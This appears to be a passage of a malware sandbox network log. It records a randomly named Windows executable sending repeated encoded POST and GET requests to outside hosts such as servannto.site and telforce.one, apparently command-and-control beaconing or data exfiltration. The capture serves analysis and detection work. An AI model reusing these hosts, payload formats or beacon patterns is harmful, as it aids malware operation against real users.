DDp=24JOOXJ8e4hNb/YsOl21IPQHdjNCoSFPW8r7G6EX3svDggKZf218EXtgvwK61umXts+S3acbOZE39sHzvzGTs605RPSHV9+RWIxghJcYo9txvn+9/Bpj2evKOha9bTzPK6YcOt1A2RQidAYhFmUwISJPlokTXz8oAsVFgQRsdn+gz4F8x33ZwrN+vUpTw1CNDgW2VgfXAJSVVZ1lqmXdE1JHq9nVZv66RneSze8LQ3tf7dpPD3GCWzrRveKYWPVhqaXaddRc2wJTLIdai7nBQIwg4s0l1QWA79r6rO74Yb6RX3nM2O9ypCMM6N8lrQ7kB5cg6pfxeaVY1FXA3xWjyi2evuz1xo6IzCRhKFpwzCE4nQ2eS0lmJsroGZc09QfdM6c9u5PSaxDARRRSsrCF2l3oturkoq0vx2edjFJ/FVl8nhdhIICgI8PHSvCGZn+wYNCukr/G1PFxk4M+Y64MaB/JwtJylWqItpAiCWcU15NugJ+rp1rPZ8C8vtkCtSi8fE9UdempvTdXnh9G6heFwYr98flJdrPKxae9nAhibtSsIpm5/qDq1u+rK/gl0Nn9Ea8IHA8O4m1XrRowtTWjuihZCeQjMBzq/II5wGJ7+CAU6M0ivq9s88FtvQ10OkZ3ZbA+w3yXHVse9Z8iOdCSoRh0BKoR4/wuA32MpM72MWA5/s30jPK+aAN4F+lyF41BdVhHfEc+1r+f//WBz5aRbLionZJtOANljf/3aK8IBW9fZnGDPvMolT8ND1qWG6BP6ioHs+QMCf0+E/13XvT9lJxDB29Fj6+znzm7Gk1sQtmda8SJH7ZpuZ2yQOjdEcDrPq+U8kTofMCUBt3L+z0xUOHNmm+PH0zvAGJ/cikrD0U2mD5oqWw/LM/4ZIBoEZWElKjQVRJoeEFKxXfU5hTMgxP2QQo0W6H7x0WYu6I3FQad9va+oH9kjhQ0p9sHa2J4qmeLAidpxHqpACPdAv7afcgB5M3B0+flV28yl7GjFTeyN7a8 [TRUNCATED]
Nov 6, 2024 08:41:26.817244053 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:26 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50012	154.23.184.218	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:28.450025082 CET	546	OUT	GET /rqnz/?DDp=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5j7kTaNGBLKG6O6VRta8dhdFdziPB3CVN6I/2AxSEUg2RCppISrE=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:41:29.382304907 CET	302	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:29 GMT Content-Type: text/html Content-Length: 138 Connection: close ETag: "669137aa-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50013	31.31.196.17	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:34.704093933 CET	813	OUT	POST /h26k/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.servannto.site Referer: http://www.servannto.site/h26k/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 36 44 4c 75 36 51 4d 4d 31 6a 61 6d 4b 66 4a 4c 57 45 76 65 64 2b 44 72 46 65 77 37 58 44 7a 4d 56 4f 75 51 44 57 59 43 78 6b 47 70 6f 33 33 44 75 46 35 67 36 2b 58 35 64 73 45 42 46 69 52 42 45 35 2f 79 55 6f 52 4e 4c 4f 4e 66 76 35 78 68 44 6f 79 2f 44 59 65 6a 37 52 6f 35 51 59 61 65 4e 50 50 32 4b 59 4f 39 73 7a 53 6a 4e 78 77 66 6f 77 75 64 6c 32 47 4a 6a 32 38 7a 7a 46 4f 57 31 57 34 36 72 76 70 2b 43 65 35 55 71 30 6e 54 35 46 38 4f 36 69 4d 68 54 79 57 2f 2f 72 75 2b 74 59 4b 41 6b 6c 6c 51 62 62 55 7a 70 47 49 4a 4d 62 69 71 4c 46 41 48 53 5a 6a 46 43 66 56 67 37 70 73 77 54 62 55 6e 4e 52 4e 6c Data Ascii: DDp=6DLu6QMM1jamKfJLWEved+DrFew7XDzMVOuQDWYCxkGpo33DuF5g6+X5dsEBFiRBE5/yUoRNLONfv5xhDoy/DYej7Ro5QYaeNPP2KYO9szSjNxwfowudl2GJj28zzFOW1W46rvp+Ce5Uq0nT5F8O6iMhTyW//ru+tYKAkllQbbUzpGIJMbiqLFAHSZjFCfVg7pswTbUnNRNl
Nov 6, 2024 08:41:35.580090046 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50014	31.31.196.17	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:37.249558926 CET	837	OUT	POST /h26k/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.servannto.site Referer: http://www.servannto.site/h26k/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 36 44 4c 75 36 51 4d 4d 31 6a 61 6d 4c 38 52 4c 55 6e 48 65 52 4f 44 6f 4c 2b 77 37 64 6a 7a 49 56 4a 6d 51 44 58 74 48 78 77 71 70 6f 57 48 44 68 68 74 67 2f 2b 58 35 56 4d 45 49 4c 43 52 4b 45 35 37 41 55 73 52 4e 4c 50 74 66 76 38 64 68 43 59 4f 38 44 49 65 68 77 78 6f 37 55 59 61 65 4e 50 50 32 4b 59 61 44 73 7a 61 6a 4d 46 4d 66 75 55 61 65 73 57 47 57 72 57 38 7a 33 46 4f 53 31 57 35 66 72 75 31 41 43 63 78 55 71 33 7a 54 67 77 49 4e 67 79 4e 6f 4d 43 58 2b 7a 35 37 50 6b 49 44 44 74 7a 39 48 41 72 77 4d 6c 51 56 54 51 6f 69 4a 5a 56 67 46 53 62 37 33 43 2f 56 4b 35 70 55 77 42 4d 59 41 43 6c 6f 47 6f 33 6c 57 76 61 52 42 42 49 56 35 4d 4a 64 47 67 73 6f 63 54 67 3d 3d Data Ascii: DDp=6DLu6QMM1jamL8RLUnHeRODoL+w7djzIVJmQDXtHxwqpoWHDhhtg/+X5VMEILCRKE57AUsRNLPtfv8dhCYO8DIehwxo7UYaeNPP2KYaDszajMFMfuUaesWGWrW8z3FOS1W5fru1ACcxUq3zTgwINgyNoMCX+z57PkIDDtz9HArwMlQVTQoiJZVgFSb73C/VK5pUwBMYACloGo3lWvaRBBIV5MJdGgsocTg==
Nov 6, 2024 08:41:38.165126085 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50015	31.31.196.17	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:39.824002981 CET	1850	OUT	POST /h26k/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.servannto.site Referer: http://www.servannto.site/h26k/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 36 44 4c 75 36 51 4d 4d 31 6a 61 6d 4c 38 52 4c 55 6e 48 65 52 4f 44 6f 4c 2b 77 37 64 6a 7a 49 56 4a 6d 51 44 58 74 48 78 78 2b 70 6f 6b 50 44 75 6d 42 67 34 2b 58 35 62 73 45 4e 4c 43 52 74 45 39 66 45 55 73 56 33 4c 4b 70 66 75 65 56 68 4b 4b 71 38 4e 49 65 68 2f 52 6f 36 51 59 62 65 4e 50 2f 71 4b 59 4b 44 73 7a 61 6a 4d 45 63 66 75 41 75 65 71 57 47 4a 6a 32 39 38 7a 46 50 4e 31 57 78 6c 72 75 77 31 43 73 52 55 72 58 6a 54 69 69 67 4e 34 69 4e 71 50 43 57 74 7a 35 6e 55 6b 49 50 68 74 7a 68 74 41 6f 73 4d 6d 30 46 4e 46 6f 53 6d 62 7a 6b 5a 53 4c 6a 38 42 36 74 37 67 62 6f 71 45 2f 6f 43 63 6e 30 76 6e 77 35 68 69 4c 51 64 48 4c 59 4d 53 2b 35 58 6c 4e 34 57 52 56 46 4c 4e 56 39 39 7a 77 68 72 56 4f 71 77 33 59 71 37 33 46 33 64 6d 6e 79 7a 45 30 6e 76 73 78 31 7a 77 41 4d 4a 33 53 44 58 55 48 6e 65 4c 36 75 43 2b 48 46 52 62 38 4e 78 63 39 2b 5a 2f 44 64 51 6a 6e 7a 30 66 76 6f 64 4b 73 75 4c 74 36 70 38 74 74 54 70 63 76 51 39 31 54 51 49 36 4a 7a 45 2b 6b 52 72 50 4a 30 6b 69 6a [TRUNCATED] Data Ascii: DDp=6DLu6QMM1jamL8RLUnHeRODoL+w7djzIVJmQDXtHxx+pokPDumBg4+X5bsENLCRtE9fEUsV3LKpfueVhKKq8NIeh/Ro6QYbeNP/qKYKDszajMEcfuAueqWGJj298zFPN1Wxlruw1CsRUrXjTiigN4iNqPCWtz5nUkIPhtzhtAosMm0FNFoSmbzkZSLj8B6t7gboqE/oCcn0vnw5hiLQdHLYMS+5XlN4WRVFLNV99zwhrVOqw3Yq73F3dmnyzE0nvsx1zwAMJ3SDXUHneL6uC+HFRb8Nxc9+Z/DdQjnz0fvodKsuLt6p8ttTpcvQ91TQI6JzE+kRrPJ0kijC56OI8W5C4hc2QU8E9EORigMJ4fXdI32ViBU0mAhx1Mh/CHIxUfll4MG6wEv/s/ydzWW94hlin1zB1FIXUUecy1ReUrQJvzK4ZAH4ceYZ2HPzWz0yjSfZ59jB2owUGfDNzi4LxKEggeIwp9WLTxS7vuulj/9wjI9hpNtVSJ6Mr/adunIalxcIKFpDMQ5v+Pbv2wUf5ci0tyRKY2Klc4AyLieOqq8WHy1I8iqixhvCnoO1jASKO5H5LT9KwxvCYGNnf0wlbnLADX/NlMC3583us7BQBPlIQOpScAIjROMz2zHcX/H5EBxdAvjYUj462FEgew0p8aeiP+TSAD+rPWiagY1IQCVf1151Luwfs2OlyeL0nBa/jYeti8jJNQyfs/M00n+bcrbn5tSeXFBbgYTPPMCXFMHgqGYtOA1wfLmNjVtplpJCHdUfNSb59Vfhhyw8J6RhN57SYjZmX6z/w3mu3PpKxRtGvhVJukKrD4w2RhjIkf2WSRp2Yw0pU1BZV3l3QJIRXWeZOL2w4e/vVz3LhtRqqBhJc1/49HCHDGi70obTjOjb3MD59FpuGXMbKKz3C13YI3mVr2GQRrpd7Y0KEFI9Kc5UreO0NoQoQyccxp9qnjNeppH7Sh1F/YDUBda335oIxZ2RHt2pHRVXFdDlWB6Bj4n/k9STF [TRUNCATED]
Nov 6, 2024 08:41:40.729546070 CET	375	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50016	31.31.196.17	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:42.600986958 CET	551	OUT	GET /h26k/?DDp=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcHbS91xJIfYTkMJziJL2bz2TZCx10rmCstVSToHcp1Wua4EZrnYI=&SvrLY=3P8lALA HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.servannto.site Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 6, 2024 08:41:43.401824951 CET	733	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 06 Nov 2024 07:41:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50017	13.248.169.48	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:48.785178900 CET	807	OUT	POST /ykhz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.telforce.one Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.telforce.one Referer: http://www.telforce.one/ykhz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 54 6c 59 58 50 45 64 70 63 68 47 44 7a 4c 6f 51 6a 4d 4f 47 4e 58 52 37 41 78 32 79 49 44 31 42 30 7a 51 31 55 2b 67 6a 32 6a 36 33 4b 4c 70 43 45 2f 48 61 42 4b 6b 76 73 4c 73 36 51 62 33 51 35 6e 33 46 53 7a 6a 4b 72 44 70 2f 63 58 6e 65 6d 67 64 41 77 44 39 4c 2f 64 4c 49 47 79 47 2f 38 78 66 38 65 53 52 48 57 2f 4d 53 43 4c 4b 5a 79 49 44 51 4c 48 30 76 7a 6d 61 41 4e 63 42 67 38 6a 4d 4f 61 42 48 71 48 4e 51 4a 4c 41 64 77 51 41 37 72 77 57 55 50 36 2b 4f 58 31 46 71 34 74 52 48 69 51 32 2f 59 6c 51 73 31 36 2f 6b 37 2f 6a 75 49 5a 4a 48 30 79 6c 70 74 71 32 5a 4d 70 61 54 39 77 63 79 64 77 37 67 59 Data Ascii: DDp=TlYXPEdpchGDzLoQjMOGNXR7Ax2yID1B0zQ1U+gj2j63KLpCE/HaBKkvsLs6Qb3Q5n3FSzjKrDp/cXnemgdAwD9L/dLIGyG/8xf8eSRHW/MSCLKZyIDQLH0vzmaANcBg8jMOaBHqHNQJLAdwQA7rwWUP6+OX1Fq4tRHiQ2/YlQs16/k7/juIZJH0ylptq2ZMpaT9wcydw7gY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50018	13.248.169.48	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:51.339236021 CET	831	OUT	POST /ykhz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.telforce.one Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 232 Cache-Control: no-cache Origin: http://www.telforce.one Referer: http://www.telforce.one/ykhz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 54 6c 59 58 50 45 64 70 63 68 47 44 79 72 34 51 76 50 6d 47 4d 33 52 34 50 52 32 79 64 7a 31 64 30 7a 63 31 55 2f 6b 7a 32 57 71 33 4b 75 56 43 48 36 7a 61 47 4b 6b 76 6e 72 74 77 64 37 33 68 35 6e 71 34 53 79 76 4b 72 44 56 2f 63 54 6a 65 6c 52 64 48 32 54 39 4a 71 74 4c 4b 4a 53 47 2f 38 78 66 38 65 53 31 68 57 37 6f 53 43 37 61 5a 7a 74 2f 54 58 58 30 6f 37 47 61 41 4a 63 42 61 38 6a 4d 57 61 46 48 41 48 50 6f 4a 4c 42 74 77 65 79 44 6f 35 57 55 56 2b 2b 50 49 6c 6e 6a 39 68 68 79 2f 4d 31 50 4c 36 42 73 46 79 70 35 68 6a 51 75 72 4c 5a 6e 32 79 6e 78 66 71 57 5a 6d 72 61 72 39 69 4c 2b 36 2f 50 46 37 39 2f 43 65 6f 71 47 7a 73 61 6b 41 2f 62 49 64 64 5a 4c 4d 69 51 3d 3d Data Ascii: DDp=TlYXPEdpchGDyr4QvPmGM3R4PR2ydz1d0zc1U/kz2Wq3KuVCH6zaGKkvnrtwd73h5nq4SyvKrDV/cTjelRdH2T9JqtLKJSG/8xf8eS1hW7oSC7aZzt/TXX0o7GaAJcBa8jMWaFHAHPoJLBtweyDo5WUV++PIlnj9hhy/M1PL6BsFyp5hjQurLZn2ynxfqWZmrar9iL+6/PF79/CeoqGzsakA/bIddZLMiQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50019	13.248.169.48	80	4156	C:\Program Files (x86)\qAqHLaUqGdGSibnbsuFbwLxvAFPQuvrbSfOEHrLLRJmfJjxgfxcBbqhSgrhXlwnHFn\FuFneNIzDsF.exe

Timestamp	Bytes transferred	Direction	Data
Nov 6, 2024 08:41:54.032172918 CET	1844	OUT	POST /ykhz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.telforce.one Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.telforce.one Referer: http://www.telforce.one/ykhz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 44 44 70 3d 54 6c 59 58 50 45 64 70 63 68 47 44 79 72 34 51 76 50 6d 47 4d 33 52 34 50 52 32 79 64 7a 31 64 30 7a 63 31 55 2f 6b 7a 32 56 4b 33 4b 59 42 43 45 5a 62 61 48 4b 6b 76 75 4c 74 7a 64 37 33 47 35 6e 6a 2f 53 79 79 2f 72 47 52 2f 64 77 72 65 6b 6c 70 48 2f 54 39 4a 31 39 4c 4a 47 79 48 39 38 78 4f 55 65 53 6c 68 57 37 6f 53 43 39 65 5a 6c 49 44 54 48 6e 30 76 7a 6d 61 6c 4e 63 41 55 38 6e 6f 47 61 46 44 36 48 2b 49 4a 4b 69 46 77 63 48 76 6f 79 57 55 54 7a 65 50 41 6c 6e 2f 32 68 68 65 7a 4d 31 4c 68 36 44 77 46 69 2b 56 36 78 53 75 31 55 59 4c 4c 72 45 64 66 74 68 30 55 6e 72 54 31 70 4b 2b 55 2f 75 5a 4b 38 66 43 58 73 62 2f 56 6d 35 77 4a 7a 63 6b 4d 66 4c 4f 72 38 36 61 6c 35 57 38 6b 72 6f 44 47 52 50 6e 4f 62 4e 4e 33 6c 6a 63 4a 2f 64 61 75 30 37 74 45 48 4c 44 6d 65 67 4b 38 47 33 44 74 49 41 57 77 5a 53 6d 50 70 46 52 72 6d 64 46 79 4d 78 4f 41 44 6f 36 61 4f 79 6a 57 72 30 64 7a 4d 57 4a 5a 31 6b 37 33 31 43 41 6b 78 64 41 76 73 69 53 67 55 36 74 2f 54 78 50 5a 6c 6a 77 67 62 45 [TRUNCATED] Data Ascii: 